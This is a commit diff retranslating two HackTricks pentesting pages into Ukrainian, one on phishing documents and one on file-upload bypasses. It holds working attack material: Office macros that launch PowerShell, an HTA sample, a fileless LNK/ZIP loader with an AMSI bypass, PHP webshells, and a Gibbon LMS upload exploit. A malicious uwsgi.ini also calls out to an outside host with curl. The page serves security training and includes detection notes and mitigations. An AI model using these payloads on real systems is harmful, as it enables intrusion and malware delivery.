Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-09-30 04:38:29 +00:00
parent a08cd395b5
commit fd56ef8f89
4 changed files with 251 additions and 163 deletions

View File

@ -1,35 +1,35 @@
# Phishing файли та документи
# Файли та документи фішингу
{{#include ../../banners/hacktricks-training.md}}
## Office Документи
## Office Documents
Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних відбувається у вигляді ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, аналізований файл не буде відкрито.
Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних здійснюється у вигляді ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, аналізований файл не буде відкрито.
Зазвичай файли Word, що містять макроси, використовують розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
Наприклад, файл RTF за своєю конструкцією не підтримує макроси, але файл DOCM, перейменований на RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можливе перейменування файлу шляхом зміни розширення та збереження можливості виконання макросів.\
Наприклад, файл RTF за дизайном не підтримує макроси, але файл DOCM, перейменований на RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint etc.).
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими Office програмами:
```bash
assoc | findstr /i "word excel powerp"
```
Файли DOCX, що посилаються на віддалений шаблон (File Options Add-ins Manage: Templates Go), який містить макроси, також можуть «виконувати» макроси.
Файли DOCX, які посилаються на віддалений шаблон (File Options Add-ins Manage: Templates Go), що містить макроси, також можуть «виконувати» макроси.
### Завантаження зовнішнього зображення
### Зовнішнє завантаження зображення
Перейдіть до: _Insert --> Quick Parts --> Field_\
_**Категорії**: Links and References, **Імена полів**: includePicture, and **Ім'я файлу або URL**:_ http://<ip>/whatever
Перейдіть до: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Бекдор через макроси
За допомогою макросів можна запускати довільний код із документа.
Можна використовувати макроси для запуску довільного коду з документа.
#### Функції автозавантаження
Чим вони поширеніші, тим більша ймовірність, що AV їх виявить.
Чим частіше вони використовуються, тим ймовірніше AV їх виявить.
- AutoOpen()
- Document_Open()
@ -64,26 +64,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Видалення метаданих вручну
#### Видалити метадані вручну
Перейдіть в **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** біля **Document Properties and Personal Information**.
Перейдіть у **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** поруч із **Document Properties and Personal Information**.
#### Розширення документа
Після закінчення виберіть випадачний список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
Зробіть це, тому що **you can't save macro's inside a `.docx`** і на розширення макросів **`.docm`** є певна **стигма** (наприклад, у мініатюри великий `!` і деякі web/email шлюзи взагалі їх блокують). Тому це **legacy `.doc` extension — найкращий компроміс**.
Коли закінчите, у випадаючому списку **Save as type** змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
Зробіть це, тому що ви **can't save macro's inside a `.docx`** і існує **стигма** навколо macro-enabled **`.docm`** розширення (наприклад, ескіз має великий `!`, і деякі web/email шлюзи повністю їх блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**.
#### Malicious Macros Generators
#### Генератори Malicious Macros
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA Files
## Файли HTA
HTA — це Windows-програма, що **поєднує HTML і скриптові мови (таких як VBScript і JScript)**. Вона формує інтерфейс користувача і виконується як «fully trusted» application, без обмежень моделі безпеки браузера.
HTA — це програма Windows, яка **поєднує HTML та скриптові мови (наприклад, VBScript і JScript)**. Вона формує інтерфейс користувача і виконується як "fully trusted" програма, без обмежень моделі безпеки браузера.
HTA запускається за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, через що **`mshta` залежить від IE**. Якщо його було видалено, HTA не зможуть виконуватись.
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом із **Internet Explorer**, через що **`mshta` dependant on IE**. Тому, якщо його було видалено, HTA не зможуть виконуватися.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## Примушення NTLM Authentication
## Примушення NTLM-аутентифікації
Є кілька способів **force NTLM authentication "remotely"**, наприклад, ви можете додати **невидимі зображення** в електронні листи або HTML, які користувач відкриє (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **trigger** **authentication** просто при **відкритті папки.**
Існує кілька способів **примушення NTLM-аутентифікації "віддалено"**, наприклад, можна додати **невидимі зображення** в листи або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, яка **спровокує** **аутентифікацію** просто при **відкритті папки.**
**Перевірте ці ідеї та інше на наступних сторінках:**
**Перегляньте ці ідеї та інше на наступних сторінках:**
{{#ref}}
@ -156,22 +156,22 @@ self.close
### NTLM Relay
Не забувайте, що ви можете не лише вкрасти hash або authentication, а й **perform NTLM relay attacks**:
Не забувайте, що ви можете не лише steal the hash або authentication, але й **perform NTLM relay attacks**:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підробні документи (PDF/DOCX) та шкідливий .lnk. Суть у тому, що фактичний PowerShell loader зберігається в сирих байтах ZIP після унікального маркера, а .lnk вирізає й запускає його повністю в пам'яті.
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні приманкові документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається в сирих байтах ZIP після унікального маркера, а .lnk вирізає його та запускає повністю в пам'яті.
Типовий сценарій, реалізований .lnk PowerShell one-liner:
1) Знайти оригінальний ZIP у поширених шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії.
2) Прочитати байти ZIP і знайти захардкоджений маркер (наприклад, xFIQCV). Все, що йде після маркера, — це вбудований PowerShell payload.
3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підробний .docx, щоб виглядати легітимно.
1) Знайти оригінальний ZIP у стандартних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, та батьківська папка поточної робочої директорії.
2) Прочитати байти ZIP і знайти захардкоджений маркер (наприклад, xFIQCV). Усе після маркера — це вбудований PowerShell payload.
3) Скопіювати ZIP до %ProgramData%, розпакувати там і відкрити підробний .docx, щоб виглядати легітимно.
4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuscate наступного етапу (наприклад, видалити всі символи #) та виконати його в пам'яті.
5) Деобфускувати наступний етап (наприклад, видалити всі символи #) і виконати його в пам'яті.
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
@ -191,25 +191,25 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Примітки
- Доставлення часто зловживає авторитетними PaaS піддоменами (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (повертаючи benign ZIPs залежно від IP/UA).
- Наступний етап часто декодує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
- Доставка часто зловживає авторитетними піддоменами PaaS (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (подавати безпечні ZIP-файли залежно від IP/UA).
- Наступний етап часто декодує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати сліди на диску.
Техніки персистенції, що використовуються в тому ж ланцюгу
- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що його вбудовує, автоматично перезапускав payload. Див. деталі та готові до використання команди тут:
Persistence, яке використовується в тій самій ланцюжку
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Пошук/IOCs
- ZIP-файли, що містять ASCII-маркер (наприклад, xFIQCV), доданий до даних архіву.
- .lnk, який перелічує батьківські/користувацькі папки, щоб знайти ZIP і відкрити підробний документ.
- Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Довготривалі бізнес-потоки, що закінчуються посиланнями, розміщеними під довіреними PaaS-доменами.
Hunting/IOCs
- ZIP-файли, що містять ASCII-маркер (наприклад, xFIQCV), доданий у дані архіву.
- .lnk, який перебирає батьківські/користувацькі папки, щоб знайти ZIP і відкриває приманковий документ.
- AMSI маніпуляції через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Довготривалі бізнес-потоки, що закінчуються посиланнями, розміщеними на довірених PaaS-доменах.
## Файли Windows для викрадення NTLM-хешів
Перегляньте сторінку про **places to steal NTLM creds**:
Перегляньте сторінку про **місця для викрадення NTLM-облікових даних**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md

View File

@ -7,7 +7,7 @@
Інші корисні розширення:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Робота в PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@
### Обхід перевірок розширень файлів
1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи великі літери: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання валідного розширення перед** виконавчим розширенням (також використовуйте попередні розширення):_
1. Якщо вони застосовуються, **перевірте** **попередні розширення**. Також протестуйте їх, використовуючи великі літери: _pHp, .pHP5, .PhAr ..._
2. _Спробуйте **додати дійсне розширення перед** виконуваним розширенням (також використовуйте попередні розширення):_
- _file.png.php_
- _file.png.Php5_
3. Спробуйте додати **спеціальні символи в кінці.** Можна використати Burp щоб **bruteforce** пройти всі **ascii** та **Unicode** символи. (_Зауваження: ви також можете спробувати використати **вже згадані** розширення_)
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використовувати Burp для **bruteforce** всіх **ascii** і **Unicode** символів. (_Зауважте, що також можна спробувати використати **раніше** згадані **розширення**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обдуривши парсер розширень** на серверній стороні за допомогою технік, як-от **подвоєння** **розширення** або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого payload._
4. Спробуйте обійти захист, **обдуривши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого payload'у._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@
5. Додайте **ще один шар розширень** до попередньої перевірки:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Спробуйте помістити **виконувальне розширення перед валідним розширенням** та сподіватися на некоректну конфігурацію сервера. (корисно для експлуатації misconfigurations Apache, де будь-який файл з розширенням **.php**, але не обов'язково що закінчується на .php, може виконувати код):
6. Спробуйте помістити **виконавче розширення перед допустимим розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних конфігурацій Apache, де будь-який файл з розширенням .php, але не обов'язково який завершується на .php, виконуватиме код):
- _ex: file.php.png_
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено двокрапку ":". У результаті створиться **порожній файл із забороненим розширенням** на сервері (наприклад "file.asax:.jpg"). Цей файл можна буде редагувати пізніше іншими техніками, наприклад використовуючи його коротке ім'я. Шаблон "**::$data**" також можна використати для створення непорожніх файлів. Тому додавання крапки після цього шаблону також може допомогти обійти подальші обмеження (наприклад "file.asp::$data.").
8. Спробуйте перевищити ліміти імені файлу. Валідне розширення обрізається, а шкідливий PHP залишається. AAA<--SNIP-->AAA.php
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку символ двокрапки ":" буде вставлений після забороненого розширення і перед дозволеним. В результаті буде створено **порожній файл із забороненим розширенням** на сервері (наприклад "file.asax:.jpg"). Цей файл може бути пізніше редагований іншими техніками, наприклад використовуючи його short filename. Шаблон "**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад "file.asp::$data.”)
8. Спробуйте перевантажити ліміти імені файлу. Дійсне розширення обрізається. А зловмисний PHP залишається. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Деякі upload handlers обрізають або нормалізують трайлінг-крапки у збережених іменах файлів. В UniSharps Laravel Filemanager (unisharp/laravel-filemanager) версій до 2.9.1 можна обійти валідацію розширень шляхом:
Деякі обробники завантаження обрізають або нормалізують кінцеві крапки у збереженому імені файлу. В UniSharps Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти валідацію розширень, зробивши наступне:
- Використання валідного image MIME та magic header (наприклад PNGs `\x89PNG\r\n\x1a\n`).
- Назвати завантажений файл з PHP-розширенням та крапкою наприкінці, наприклад `shell.php.`.
- Сервер обрізає трайлінг-крапку і зберігає `shell.php`, який виконається, якщо він буде у директорії, що обслуговується вебом (типовий public storage як `/storage/files/`).
- Використати дійсний image MIME та magic header (наприклад, PNGs `\x89PNG\r\n\x1a\n`).
- Назвати завантажений файл з PHP-розширенням і крапкою в кінці, наприклад `shell.php.`.
- Сервер видаляє кінцеву крапку і зберігає `shell.php`, який виконуватиметься, якщо буде розміщений у веб-доступному каталозі (за замовчуванням public storage, наприклад `/storage/files/`).
Мінімальний PoC (Burp Repeater):
```http
@ -80,64 +80,63 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Потім зробіть запит до збереженого шляху (типово для Laravel + LFM):
Потім зверніться до збереженого шляху (типово в Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Оновіть unisharp/laravel-filemanager до ≥ 2.9.1.
- Застосуйте суворі server-side allowlists і повторно перевіряйте збережене ім'я файлу.
- Обслуговуйте завантаження з невиконуваних локацій.
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Застосувати суворі серверні allowlists та повторно перевіряти збережену назву файлу.
- Розміщувати uploads у локаціях без можливості виконання.
### Обхід Content-Type, Magic Number, Compression & Resizing
### Bypass Content-Type, Magic Number, Compression & Resizing
- Обійти **Content-Type** перевірки, встановивши **value** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
- Обійти перевірки **Content-Type**, встановивши **value** заголовка **Content-Type** в: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або ввести шелл у **metadata**:\
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати _file_ команду). Або вставити шелл всередину **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести payload прямо** в зображення:\
`\` або ви також можете **вставити payload безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо до вашого зображення додається **стиснення**, наприклад з використанням стандартних PHP-бібліотек типу [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть виявитися некорисними. Проте ви можете використати **PLTE chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може змінювати **розмір** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Проте ви можете використати **IDAT chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload, який **виживає при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте ви можете використати **tEXt chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Якщо до вашого зображення додається **компресія**, наприклад за допомогою стандартних PHP-бібліотек на кшталт [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть не спрацювати. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розміри** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Проте ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload, що **виживає при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Інші прийоми для перевірки
### Other Tricks to check
- Знайдіть вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайдіть **Local File Inclusion** вразливість для виконання backdoor.
- Знайти вразливість, що дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайти вразливість **Local File Inclusion** для виконання backdoor.
- **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **ім'ям** файлу або папки, яка **вже існує**
3. Завантаження файлу з ім'ям **"." , "..", або "…"**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в директорії "/www/uploads/", ім'я файлу "." створить файл з ім'ям
uploads” в директорії "/www/".
4. Завантажте файл, який може бути важко видалити, такий як **"…:.jpg"** в **NTFS**. (Windows)
5. Завантажте файл в **Windows** з **недопустимими символами** в імені, такими як `|<>*?”`. (Windows)
6. Завантажте файл в **Windows** використовуючи зарезервовані (**заборонені**) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також завантажити виконуваний файл (.exe) або .html (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
1. Завантажити **кілька разів** (і одночасно) **той самий файл** з **тією самою назвою**
2. Завантажити файл з **назвою** файлу або папки, яка вже **існує**
3. Завантаження файлу з **"." , "..", або "…" як ім'я**. Наприклад, в Apache на **Windows**, якщо додаток зберігає uploaded файли в директорії "/www/uploads/", ім'я файлу "." створить файл uploads” в директорії "/www/".
4. Завантажити файл, який може бути важко видалити, наприклад **"…:.jpg"** в **NTFS**. (Windows)
5. Завантажити файл у **Windows** з **недопустимими символами** в імені, такими як `|<>*?”`. (Windows)
6. Завантажити файл у **Windows**, використовуючи зарезервовані (**заборонені**) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, та LPT9.
- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозрілий), який **виконає код**, якщо його випадково відкриє жертва.
### Спеціальні хитрощі з розширеннями
### Special extension tricks
Якщо ви намагаєтеся завантажити файли на **PHP** server, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP** server, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Якщо ви намагаєтесь завантажувати файли на **PHP server**, перегляньте трюк з **.htaccess** для виконання коду: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтесь завантажувати файли на **ASP server**, перегляньте трюк з **.config** для виконання коду: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files.
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючись за допомогою php, або включаючись всередині скрипту...)
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючись php, або підключаючись у скрипті...)
Розширення `.inc` інколи використовується для php-файлів, що використовуються лише для **імпорту файлів**, тож іноді це розширення могло бути дозволено для **виконання**.
Розширення `.inc` іноді використовується для php-файлів, які лише **імпортуються**, тож інколи хтось може дозволити **виконання цього розширення**.
## **Jetty RCE**
Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Тому, як показано на зображенні нижче, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте шелл!
Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE оскільки **нові *.xml та *.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як показано на зображенні нижче, завантажте XML-файл в `$JETTY_BASE/webapps/` і очікуйте shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Для детального розгляду цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Для детального вивчення цієї вразливості перегляньте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити конфігураційний файл `.ini`. uWSGI конфігураційні файли використовують специфічний синтаксис для включення "magic" змінних, placeholder-ів та операторів. Зокрема, оператор '@', що використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" особливо потужна, дозволяючи читати дані з stdout процесу. Цю можливість можна маніпулювати для шкідливих цілей, таких як Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл.
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо існує можливість модифікувати `.ini` конфігураційний файл. uWSGI конфіг-файли використовують специфічний синтаксис для включення "magic" змінних, placeholder-ів та операторів. Особливо оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем у uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з stdout процесу. Цю функціональність можна використати для зловмисних цілей, таких як Remote Command Execution або Arbitrary File Write/Read при обробці `.ini` конфіг-файлу.
Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми:
```ini
@ -157,9 +156,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час розбору файлу конфігурації. Щоб конфігурація була активована і розібрана, процес uWSGI має бути або перезапущений (потенційно після крашу або через Denial of Service attack), або файл має бути налаштований на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через задані інтервали після виявлення змін.
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та розпарсена, процес uWSGI має або перезапуститися (наприклад після крашу або через Denial of Service attack), або файл має бути налаштований на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через задані інтервали при виявленні змін.
Важливо розуміти поблажливий характер розбору файлу конфігурації uWSGI. Конкретно, обговорюваний payload може бути вставлений у бінарний файл (наприклад, зображення або PDF), що ще більше розширює можливі вектори експлуатації.
Критично важливо розуміти недбалість парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (наприклад, зображення або PDF), що ще більше розширює можливі вектори експлуатації.
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
@ -168,11 +167,11 @@ Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the we
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (сервер ігнорує type/name, base64-декодує кінцеву частину)
- `img`: data-URI-like string: `[mime];[name],[base64]` (сервер ігнорує type/name, base64-декодує хвіст)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
Мінімальний PoC для запису та подальшого читання файлу:
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
@ -185,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Розмістіть мінімальний webshell і виконайте команди:
Закинути мінімальний webshell і виконати команди:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
@ -196,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Примітки:
- Обробник виконує `base64_decode($_POST["img"])` після розділення по `;` і `,`, а потім записує байти в `$absolutePath . '/' . $_POST['path']` без перевірки розширення/типу.
- Внаслідок цього код виконується від імені користувача web сервісу (наприклад, XAMPP Apache на Windows).
- Обробник виконує `base64_decode($_POST["img"])` після розділення за `;` і `,`, потім записує байти в `$absolutePath . '/' . $_POST['path']` без перевірки розширення/типу.
- Отриманий код виконується від імені користувача веб-сервісу (наприклад, XAMPP Apache на Windows).
Посилання на цю уразливість включають usd HeroLab advisory і запис NVD. Див. розділ References нижче.
Джерела цієї вразливості включають повідомлення від usd HeroLab та запис у NVD. Див. розділ References нижче.
## **wget Завантаження файлів/SSRF Трюк**
## **wget File Upload/SSRF Trick**
В інколи може трапитися, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. В таких випадках код може перевіряти, що розширення завантажуваних файлів є у білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак **цю перевірку можна обійти.**\
Максимальна довжина імені файлу в **linux****255** символів, проте **wget** обрізує імена файлів до **236** символів. Можна **завантажити файл з іменем "A"*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"*232+".php"**.
